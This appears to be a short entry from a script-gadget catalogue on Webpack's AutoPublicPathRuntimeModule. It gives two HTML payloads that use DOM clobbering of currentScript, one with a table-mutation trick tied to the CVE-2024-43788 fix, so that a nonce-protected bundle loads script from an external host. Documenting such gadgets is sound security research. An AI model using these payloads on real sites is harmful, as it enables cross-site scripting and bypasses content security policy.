Webpack is a module bundler. Its main purpose is to bundle JavaScript files for usage in a browser, yet it is also capable of transforming, bundling, or packaging just about any resource or asset.
It is possible to take part of the fix for CVE-2024-43788 which uses the src= of the last <script> tag of the page to load additionnal modules. As with the CVE, it is mandatory to have the AutoPublicPathRuntimeModule enabled.
For this to work, the user input must be placed above the bundle script tag. We then use a trick use table HTML mutation to make it follow down the DOM tree. This ensures that when Webpack loads, our script is already in the DOM and positioned below it, something that normally shouldn’t be possible, since the page stops loading while a script is being executed.
<!-- user input -->
<img name="currentScript"><table>
<script src="https://gmsgadget.com/assets/xss/index.js"></script>
<div>
<script nonce="secret" src="/assets/libs/webpack/bundle.js"></script>
</div>Related links:
Found by @kevin_mizu.
It is mandatory to have the AutoPublicPathRuntimeModule enabled.
<!-- user input -->
<img name="currentScript" src="https://gmsgadget.com/assets/xss/index.js">
<script nonce="secret" src="/assets/libs/webpack/5.92.1/bundle.js"></script>Related links:
Found by jackfromeast, ishmeals.